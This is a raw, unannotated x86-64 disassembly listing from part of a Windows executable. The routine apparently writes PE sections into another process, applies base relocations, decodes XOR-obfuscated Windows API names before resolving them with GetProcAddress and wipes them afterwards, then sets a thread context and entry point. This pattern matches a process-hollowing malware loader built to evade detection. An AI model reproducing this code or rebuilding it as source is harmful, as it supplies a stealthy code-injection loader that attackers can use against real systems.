mov dword [rsp + 0x760], 0
mov dword [rsp + 0x764], 0
mov rax, qword [rsp + 0x760]
mov qword [rsp + 0x770], rax
mov qword [rsp + 0x758], 0
mov byte [rsp + 0x757], 0
test byte [rsp + 0x96f], 1
je 0x140003295
mov dword [rsp + 0x750], 0
mov eax, dword [rsp + 0x750]
mov rcx, qword [rsp + 0xa878]
movzx ecx, word [rcx + 6]
cmp eax, ecx
jge 0x140003269
mov rax, qword [rsp + 0xa878]
add rax, 4
add rax, 0x14
mov rcx, qword [rsp + 0xa878]
movzx ecx, word [rcx + 0x14]
add rax, rcx
movsxd rcx, dword [rsp + 0x750]
imul rcx, rcx, 0x28
add rax, rcx
mov qword [rsp + 0x748], rax
mov eax, dword [rsp + 0x770]
mov rcx, qword [rsp + 0x748]
cmp eax, dword [rcx + 0xc]
jb 0x1400031b5
mov eax, dword [rsp + 0x770]
mov rcx, qword [rsp + 0x748]
mov ecx, dword [rcx + 0xc]
mov rdx, qword [rsp + 0x748]
add ecx, dword [rdx + 8]
cmp eax, ecx
jae 0x1400031b5
mov rax, qword [rsp + 0x748]
mov qword [rsp + 0x768], rax
mov rax, qword [rsp + 0x780]
mov rcx, qword [rsp + 0x8d0]
mov rdx, qword [rsp + 0x7f8]
mov r10, qword [rsp + 0x748]
mov r8d, dword [r10 + 0xc]
mov r9d, dword [r10 + 0x10]
add rdx, r8
mov r8, qword [rsp + 0x960]
mov r10d, dword [r10 + 0x14]
add r8, r10
mov r10, rsp
mov qword [r10 + 0x20], 0
call rax
mov qword [rsp + 0x190], rax
jmp 0x140003209
mov rax, qword [rsp + 0x190]
cmp rax, 0
setne al
and al, 1
mov byte [rsp + 0x747], al
mov al, byte [rsp + 0x747]
and al, 1
movzx eax, al
cmp eax, 0
jne 0x14000324e
mov byte [rsp + 0xa897], 0
mov dword [rsp + 0x89c], 1
jmp 0x1400041c5
jmp 0x140003253
mov eax, dword [rsp + 0x750]
add eax, 1
mov dword [rsp + 0x750], eax
jmp 0x140003117
cmp qword [rsp + 0x768], 0
jne 0x140003290
mov byte [rsp + 0xa897], 0
mov dword [rsp + 0x89c], 1
jmp 0x1400041c5
jmp 0x14000339c
mov dword [rsp + 0x740], 0
mov eax, dword [rsp + 0x740]
mov rcx, qword [rsp + 0xa878]
movzx ecx, word [rcx + 6]
cmp eax, ecx
jge 0x140003397
mov rax, qword [rsp + 0xa878]
movzx ecx, word [rax + 0x14]
add rax, rcx
movsxd rcx, dword [rsp + 0x740]
lea rcx, [rcx + rcx*4]
lea rax, [rax + rcx*8 + 0x18]
mov qword [rsp + 0x758], rax
mov rax, qword [rsp + 0x780]
mov rcx, qword [rsp + 0x8d0]
mov rdx, qword [rsp + 0x7f8]
mov r10, qword [rsp + 0x758]
mov r8d, dword [r10 + 0xc]
mov r9d, dword [r10 + 0x10]
add rdx, r8
mov r8, qword [rsp + 0x960]
mov r10d, dword [r10 + 0x14]
add r8, r10
mov r10, rsp
mov qword [r10 + 0x20], 0
call rax
mov qword [rsp + 0x188], rax
jmp 0x140003337
mov rax, qword [rsp + 0x188]
cmp rax, 0
setne al
and al, 1
mov byte [rsp + 0x757], al
mov al, byte [rsp + 0x757]
and al, 1
movzx eax, al
cmp eax, 0
jne 0x14000337c
mov byte [rsp + 0xa897], 0
mov dword [rsp + 0x89c], 1
jmp 0x1400041c5
jmp 0x140003381
mov eax, dword [rsp + 0x740]
add eax, 1
mov dword [rsp + 0x740], eax
jmp 0x1400032a0
jmp 0x14000339c
test byte [rsp + 0x96f], 1
je 0x140003864
mov dword [rsp + 0x73c], 0
mov eax, dword [rsp + 0x73c]
cmp eax, dword [rsp + 0x774]
jae 0x14000385f
mov rax, qword [rsp + 0x960]
mov rcx, qword [rsp + 0x768]
mov ecx, dword [rcx + 0x14]
add rax, rcx
mov ecx, dword [rsp + 0x73c]
add rax, rcx
mov qword [rsp + 0x730], rax
mov eax, dword [rsp + 0x73c]
add rax, 8
mov dword [rsp + 0x73c], eax
mov rax, qword [rsp + 0x730]
mov eax, dword [rax + 4]
sub rax, 8
shr rax, 1
mov dword [rsp + 0x72c], eax
mov dword [rsp + 0x728], 0
mov eax, dword [rsp + 0x728]
cmp eax, dword [rsp + 0x72c]
jae 0x14000385a
mov rax, qword [rsp + 0x960]
mov rcx, qword [rsp + 0x768]
mov ecx, dword [rcx + 0x14]
add rax, rcx
mov ecx, dword [rsp + 0x73c]
add rax, rcx
mov qword [rsp + 0x720], rax
mov eax, dword [rsp + 0x73c]
add rax, 2
mov dword [rsp + 0x73c], eax
mov rax, qword [rsp + 0x720]
mov ax, word [rax]
shr ax, 0xc
movzx eax, ax
cmp eax, 0
jne 0x140003496
jmp 0x140003844
mov rax, qword [rsp + 0x7f8]
mov rcx, qword [rsp + 0x730]
mov ecx, dword [rcx]
add rax, rcx
mov rcx, qword [rsp + 0x720]
movzx ecx, word [rcx]
and ecx, 0xfff
add rax, rcx
mov qword [rsp + 0x718], rax
mov dword [rsp + 0x714], 0
lea rcx, [rsp + 0x6f0]
lea rdx, [rsp + 0x6e8]
call fcn.1400043d0
jmp 0x1400034ec
mov rax, qword [rsp + 0x8a0]
mov qword [rsp + 0x170], rax
lea rax, [rsp + 0x6f0]
mov qword [rsp + 0xa998], rax
mov rax, qword [rsp + 0xa998]
mov qword [rsp + 0x178], rax
mov qword [rsp + 0xabe0], rax
mov rax, qword [rsp + 0xabe0]
mov qword [rsp + 0x180], rax
mov qword [rsp + 0xabe8], rax
mov rax, qword [rsp + 0xabe8]
movzx eax, word [rax + 0x22]
cmp eax, 0
je 0x1400035ee
mov rax, qword [rsp + 0x180]
mov qword [rsp + 0xac08], rax
mov qword [rsp + 0xac00], rax
mov rax, qword [rsp + 0xac08]
mov qword [rsp + 0x168], rax
mov dword [rsp + 0xabfc], 0
cmp dword [rsp + 0xabfc], 0x12
jge 0x1400035e9
mov rax, qword [rsp + 0xac00]
movsxd rcx, dword [rsp + 0xabfc]
movzx ecx, word [rax + rcx*2]
mov eax, dword [rsp + 0xabfc]
mov r8d, 0x32
cdq
idiv r8d
mov rax, qword [rsp + 0x168]
add edx, 0x36
xor ecx, edx
mov dx, cx
movsxd rcx, dword [rsp + 0xabfc]
mov word [rax + rcx*2], dx
mov eax, dword [rsp + 0xabfc]
add eax, 1
mov dword [rsp + 0xabfc], eax
jmp 0x140003584
jmp 0x1400035ee
jmp 0x1400035f3
jmp 0x1400035f8
mov rcx, qword [rsp + 0x178]
call fcn.1400014e0
mov qword [rsp + 0x160], rax
jmp 0x140003612
mov rdx, qword [rsp + 0x160]
mov rcx, qword [rsp + 0x170]
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rsp + 0x158], rax
jmp 0x140003638
mov rax, qword [rsp + 0x158]
mov qword [rsp + 0x6e0], rax
cmp qword [rsp + 0x6e0], 0
jne 0x14000366f
mov byte [rsp + 0xa897], 0
mov dword [rsp + 0x89c], 1
jmp 0x1400041c5
lea rax, [rsp + 0x6f0]
mov qword [rsp + 0xa9a0], rax
mov rax, qword [rsp + 0xa9a0]
mov qword [rsp + 0x150], rax
mov qword [rsp + 0xabf0], rax
mov rax, qword [rsp + 0xabf0]
movzx eax, word [rax + 0x22]
cmp eax, 0
jne 0x140003749
mov rax, qword [rsp + 0x150]
mov qword [rsp + 0xac20], rax
mov qword [rsp + 0xac18], rax
mov rax, qword [rsp + 0xac20]
mov qword [rsp + 0x148], rax
mov dword [rsp + 0xac14], 0
cmp dword [rsp + 0xac14], 0x12
jge 0x140003744
mov rax, qword [rsp + 0xac18]
movsxd rcx, dword [rsp + 0xac14]
movzx ecx, word [rax + rcx*2]
mov eax, dword [rsp + 0xac14]
mov r8d, 0x32
cdq
idiv r8d
mov rax, qword [rsp + 0x148]
add edx, 0x36
xor ecx, edx
mov dx, cx
movsxd rcx, dword [rsp + 0xac14]
mov word [rax + rcx*2], dx
mov eax, dword [rsp + 0xac14]
add eax, 1
mov dword [rsp + 0xac14], eax
jmp 0x1400036df
jmp 0x140003749
jmp 0x14000374e
lea rax, [rsp + 0x6f0]
mov qword [rsp + 0xa9b0], rax
mov rax, qword [rsp + 0xa9b0]
mov qword [rsp + 0x140], rax
mov dword [rsp + 0xa9ac], 0
cmp dword [rsp + 0xa9ac], 0x12
jge 0x1400037b3
mov rax, qword [rsp + 0x140]
movsxd rcx, dword [rsp + 0xa9ac]
mov word [rax + rcx*2], 0
mov eax, dword [rsp + 0xa9ac]
add eax, 1
mov dword [rsp + 0xa9ac], eax
jmp 0x140003779
jmp 0x1400037b8
mov rax, qword [rsp + 0x6e0]
mov rcx, qword [rsp + 0x8d0]
mov rdx, qword [rsp + 0x718]
mov r8, rsp
mov qword [r8 + 0x20], 0
lea r8, [rsp + 0x714]
mov r9d, 4
call rax
jmp 0x1400037f0
mov ecx, dword [rsp + 0x7bc]
mov eax, dword [rsp + 0x714]
add eax, ecx
mov dword [rsp + 0x714], eax
mov rax, qword [rsp + 0x780]
mov rcx, qword [rsp + 0x8d0]
mov rdx, qword [rsp + 0x718]
mov r8, rsp
mov qword [r8 + 0x20], 0
lea r8, [rsp + 0x714]
mov r9d, 4
call rax
jmp 0x14000383f
jmp 0x140003844
mov eax, dword [rsp + 0x728]
add eax, 1
mov dword [rsp + 0x728], eax
jmp 0x140003428
jmp 0x1400033b5
jmp 0x140003864
mov dword [rsp + 0x410], 0x10000b
lea rcx, [rsp + 0x3e0]
lea rdx, [rsp + 0x3d8]
call fcn.140004410
jmp 0x140003889
mov rax, qword [rsp + 0x8a0]
mov qword [rsp + 0x128], rax
lea rax, [rsp + 0x3e0]
mov qword [rsp + 0xa9c0], rax
mov rax, qword [rsp + 0xa9c0]
mov qword [rsp + 0x130], rax
mov qword [rsp + 0xac28], rax
mov rax, qword [rsp + 0xac28]
mov qword [rsp + 0x138], rax
mov qword [rsp + 0xac40], rax
mov rax, qword [rsp + 0xac40]
movzx eax, word [rax + 0x2a]
cmp eax, 0
je 0x14000398b
mov rax, qword [rsp + 0x138]
mov qword [rsp + 0xac80], rax
mov qword [rsp + 0xac78], rax
mov rax, qword [rsp + 0xac80]
mov qword [rsp + 0x120], rax
mov dword [rsp + 0xac74], 0
cmp dword [rsp + 0xac74], 0x16
jge 0x140003986
mov rax, qword [rsp + 0xac78]
movsxd rcx, dword [rsp + 0xac74]
movzx ecx, word [rax + rcx*2]
mov eax, dword [rsp + 0xac74]
mov r8d, 0x32
cdq
idiv r8d
mov rax, qword [rsp + 0x120]
add edx, 0x36
xor ecx, edx
mov dx, cx
movsxd rcx, dword [rsp + 0xac74]
mov word [rax + rcx*2], dx
mov eax, dword [rsp + 0xac74]
add eax, 1
mov dword [rsp + 0xac74], eax
jmp 0x140003921
jmp 0x14000398b
jmp 0x140003990
jmp 0x140003995
mov rcx, qword [rsp + 0x130]
call fcn.1400014e0
mov qword [rsp + 0x118], rax
jmp 0x1400039af
mov rdx, qword [rsp + 0x118]
mov rcx, qword [rsp + 0x128]
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rsp + 0x110], rax
jmp 0x1400039d5
mov rax, qword [rsp + 0x110]
mov qword [rsp + 0x3d0], rax
cmp qword [rsp + 0x3d0], 0
jne 0x140003a0c
mov byte [rsp + 0xa897], 0
mov dword [rsp + 0x89c], 1
jmp 0x1400041c5
mov rax, qword [rsp + 0x3d0]
mov rcx, qword [rsp + 0x8d8]
lea rdx, [rsp + 0x410]
call rax
mov qword [rsp + 0x108], rax
jmp 0x140003a33
mov rax, qword [rsp + 0x108]
test rax, rax
setne byte [rsp + 0x3cf]
mov rax, qword [rsp + 0x780]
mov rcx, qword [rsp + 0x8d0]
mov edx, dword [rsp + 0x4b4]
add rdx, 8
mov r8, rsp
mov qword [r8 + 0x20], 0
lea r8, [rsp + 0x7f8]
mov r9d, 4
call rax
mov qword [rsp + 0x100], rax
jmp 0x140003a89
mov rax, qword [rsp + 0x100]
cmp rax, 0
setne al
and al, 1
mov byte [rsp + 0x3ce], al
lea rax, [rsp + 0x3e0]
mov qword [rsp + 0xa9d0], rax
mov rax, qword [rsp + 0xa9d0]
mov qword [rsp + 0xf8], rax
mov qword [rsp + 0xac48], rax
mov rax, qword [rsp + 0xac48]
movzx eax, word [rax + 0x2a]
cmp eax, 0
jne 0x140003b7b
mov rax, qword [rsp + 0xf8]
mov qword [rsp + 0xac98], rax
mov qword [rsp + 0xac90], rax
mov rax, qword [rsp + 0xac98]
mov qword [rsp + 0xf0], rax
mov dword [rsp + 0xac8c], 0
cmp dword [rsp + 0xac8c], 0x16
jge 0x140003b76
mov rax, qword [rsp + 0xac90]
movsxd rcx, dword [rsp + 0xac8c]
movzx ecx, word [rax + rcx*2]
mov eax, dword [rsp + 0xac8c]
mov r8d, 0x32
cdq
idiv r8d
mov rax, qword [rsp + 0xf0]
add edx, 0x36
xor ecx, edx
mov dx, cx
movsxd rcx, dword [rsp + 0xac8c]
mov word [rax + rcx*2], dx
mov eax, dword [rsp + 0xac8c]
add eax, 1
mov dword [rsp + 0xac8c], eax
jmp 0x140003b11
jmp 0x140003b7b
jmp 0x140003b80
lea rax, [rsp + 0x3e0]
mov qword [rsp + 0xa9f0], rax
mov rax, qword [rsp + 0xa9f0]
mov qword [rsp + 0xe8], rax
mov dword [rsp + 0xa9ec], 0
cmp dword [rsp + 0xa9ec], 0x16
jge 0x140003be5
mov rax, qword [rsp + 0xe8]
movsxd rcx, dword [rsp + 0xa9ec]
mov word [rax + rcx*2], 0
mov eax, dword [rsp + 0xa9ec]
add eax, 1
mov dword [rsp + 0xa9ec], eax
jmp 0x140003bab
jmp 0x140003bea
lea rcx, [rsp + 0x3a0]
lea rdx, [rsp + 0x398]
call fcn.140004450
jmp 0x140003c04
mov rax, qword [rsp + 0x7f8]
mov rcx, qword [rsp + 0xa878]
mov ecx, dword [rcx + 0x28]
add rax, rcx
mov dword [rsp + 0x4c0], eax
mov rax, qword [rsp + 0x8a0]
mov qword [rsp + 0xd0], rax
lea rax, [rsp + 0x3a0]
mov qword [rsp + 0xa9b8], rax
mov rax, qword [rsp + 0xa9b8]
mov qword [rsp + 0xd8], rax
mov qword [rsp + 0xac30], rax
mov rax, qword [rsp + 0xac30]
mov qword [rsp + 0xe0], rax
mov qword [rsp + 0xac38], rax
mov rax, qword [rsp + 0xac38]
movzx eax, word [rax + 0x2a]
cmp eax, 0
je 0x140003d23
mov rax, qword [rsp + 0xe0]
mov qword [rsp + 0xac68], rax
mov qword [rsp + 0xac60], rax
mov rax, qword [rsp + 0xac68]
mov qword [rsp + 0xc8], rax
mov dword [rsp + 0xac5c], 0
cmp dword [rsp + 0xac5c], 0x16
jge 0x140003d1e
mov rax, qword [rsp + 0xac60]
movsxd rcx, dword [rsp + 0xac5c]
movzx ecx, word [rax + rcx*2]
mov eax, dword [rsp + 0xac5c]
mov r8d, 0x32
cdq
idiv r8d
mov rax, qword [rsp + 0xc8]
add edx, 0x36
xor ecx, edx
mov dx, cx
movsxd rcx, dword [rsp + 0xac5c]
mov word [rax + rcx*2], dx
mov eax, dword [rsp + 0xac5c]
add eax, 1
mov dword [rsp + 0xac5c], eax
jmp 0x140003cb9
jmp 0x140003d23
jmp 0x140003d28
jmp 0x140003d2d
mov rcx, qword [rsp + 0xd8]
call fcn.1400014e0
mov qword [rsp + 0xc0], rax
jmp 0x140003d47
mov rdx, qword [rsp + 0xc0]
mov rcx, qword [rsp + 0xd0]
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rsp + 0xb8], rax
jmp 0x140003d6d
mov rax, qword [rsp + 0xb8]
mov qword [rsp + 0x390], rax
mov rax, qword [rsp + 0x390]
mov rcx, qword [rsp + 0x8d8]
lea rdx, [rsp + 0x410]
call rax
mov qword [rsp + 0xb0], rax
jmp 0x140003da4
mov rax, qword [rsp + 0xb0]
cmp rax, 0
setne al
and al, 1
mov byte [rsp + 0x38f], al
lea rax, [rsp + 0x3a0]
mov qword [rsp + 0xa9c8], rax
mov rax, qword [rsp + 0xa9c8]
mov qword [rsp + 0xa8], rax
mov qword [rsp + 0xac50], rax
mov rax, qword [rsp + 0xac50]
movzx eax, word [rax + 0x2a]
cmp eax, 0
jne 0x140003e96
mov rax, qword [rsp + 0xa8]
mov qword [rsp + 0xacb0], rax
mov qword [rsp + 0xaca8], rax
mov rax, qword [rsp + 0xacb0]
mov qword [rsp + 0xa0], rax
mov dword [rsp + 0xaca4], 0
cmp dword [rsp + 0xaca4], 0x16
jge 0x140003e91
mov rax, qword [rsp + 0xaca8]
movsxd rcx, dword [rsp + 0xaca4]
movzx ecx, word [rax + rcx*2]
mov eax, dword [rsp + 0xaca4]
mov r8d, 0x32
cdq
idiv r8d
mov rax, qword [rsp + 0xa0]
add edx, 0x36
xor ecx, edx
mov dx, cx
movsxd rcx, dword [rsp + 0xaca4]
mov word [rax + rcx*2], dx
mov eax, dword [rsp + 0xaca4]
add eax, 1
mov dword [rsp + 0xaca4], eax
jmp 0x140003e2c
jmp 0x140003e96
jmp 0x140003e9b
lea rax, [rsp + 0x3a0]
mov qword [rsp + 0xa9e0], rax
mov rax, qword [rsp + 0xa9e0]
mov qword [rsp + 0x98], rax
mov dword [rsp + 0xa9dc], 0
cmp dword [rsp + 0xa9dc], 0x16
jge 0x140003f00
mov rax, qword [rsp + 0x98]
movsxd rcx, dword [rsp + 0xa9dc]
mov word [rax + rcx*2], 0
mov eax, dword [rsp + 0xa9dc]
add eax, 1
mov dword [rsp + 0xa9dc], eax
jmp 0x140003ec6
jmp 0x140003f05
lea rcx, [rsp + 0x370]
lea rdx, [rsp + 0x368]
call fcn.140004490
jmp 0x140003f1f
mov rax, qword [rsp + 0x8a0]
mov qword [rsp + 0x80], rax
lea rax, [rsp + 0x370]
mov qword [rsp + 0xa9f8], rax
mov rax, qword [rsp + 0xa9f8]
mov qword [rsp + 0x88], rax
mov qword [rsp + 0xaa00], rax
mov rax, qword [rsp + 0xaa00]
mov qword [rsp + 0x90], rax
mov qword [rsp + 0xaa10], rax
mov rax, qword [rsp + 0xaa10]
movzx eax, word [rax + 0x18]
cmp eax, 0
je 0x14000401b
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0xaa40], rax
mov qword [rsp + 0xaa38], rax
mov rax, qword [rsp + 0xaa40]
mov qword [rsp + 0x78], rax
mov dword [rsp + 0xaa34], 0
cmp dword [rsp + 0xaa34], 0xd
jge 0x140004016
mov rax, qword [rsp + 0xaa38]
movsxd rcx, dword [rsp + 0xaa34]
movzx ecx, word [rax + rcx*2]
mov eax, dword [rsp + 0xaa34]
mov r8d, 0x32
cdq
idiv r8d
mov rax, qword [rsp + 0x78]
add edx, 0x36
xor ecx, edx
mov dx, cx
movsxd rcx, dword [rsp + 0xaa34]
mov word [rax + rcx*2], dx
mov eax, dword [rsp + 0xaa34]
add eax, 1
mov dword [rsp + 0xaa34], eax
jmp 0x140003fb4
jmp 0x14000401b
jmp 0x140004020
mov rcx, qword [rsp + 0x88]
call fcn.1400014e0
mov qword [rsp + 0x70], rax
jmp 0x140004037
mov rdx, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x80]
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rsp + 0x68], rax
jmp 0x140004057
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x360], rax
mov rax, qword [rsp + 0x360]
mov rcx, qword [rsp + 0x8d8]
call rax
jmp 0x14000407b
lea rax, [rsp + 0x370]
mov qword [rsp + 0xa8b8], rax
mov rax, qword [rsp + 0xa8b8]
mov qword [rsp + 0x60], rax
mov qword [rsp + 0xaa20], rax
mov rax, qword [rsp + 0xaa20]
movzx eax, word [rax + 0x18]
cmp eax, 0
jne 0x140004149
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0xaa70], rax
mov qword [rsp + 0xaa68], rax
mov rax, qword [rsp + 0xaa70]
mov qword [rsp + 0x58], rax
mov dword [rsp + 0xaa64], 0
cmp dword [rsp + 0xaa64], 0xd
jge 0x140004144
mov rax, qword [rsp + 0xaa68]
movsxd rcx, dword [rsp + 0xaa64]
movzx ecx, word [rax + rcx*2]
mov eax, dword [rsp + 0xaa64]
mov r8d, 0x32
cdq
idiv r8d
mov rax, qword [rsp + 0x58]
add edx, 0x36
xor ecx, edx
mov dx, cx
movsxd rcx, dword [rsp + 0xaa64]
mov word [rax + rcx*2], dx
mov eax, dword [rsp + 0xaa64]
add eax, 1
mov dword [rsp + 0xaa64], eax
jmp 0x1400040e2
jmp 0x140004149
jmp 0x14000414e
lea rax, [rsp + 0x370]
mov qword [rsp + 0xa8d0], rax
mov rax, qword [rsp + 0xa8d0]
mov qword [rsp + 0x50], rax
mov dword [rsp + 0xa8cc], 0
cmp dword [rsp + 0xa8cc], 0xd
jge 0x1400041ad
mov rax, qword [rsp + 0x50]
movsxd rcx, dword [rsp + 0xa8cc]
mov word [rax + rcx*2], 0
mov eax, dword [rsp + 0xa8cc]
add eax, 1
mov dword [rsp + 0xa8cc], eax
jmp 0x140004176
jmp 0x1400041b2
mov byte [rsp + 0xa897], 1
mov dword [rsp + 0x89c], 1
lea rcx, [rsp + 0xa2f8]
call fcn.14003ba20
mov al, byte [rsp + 0xa897]
and al, 1
movzx eax, al
add rsp, 0xacb8
ret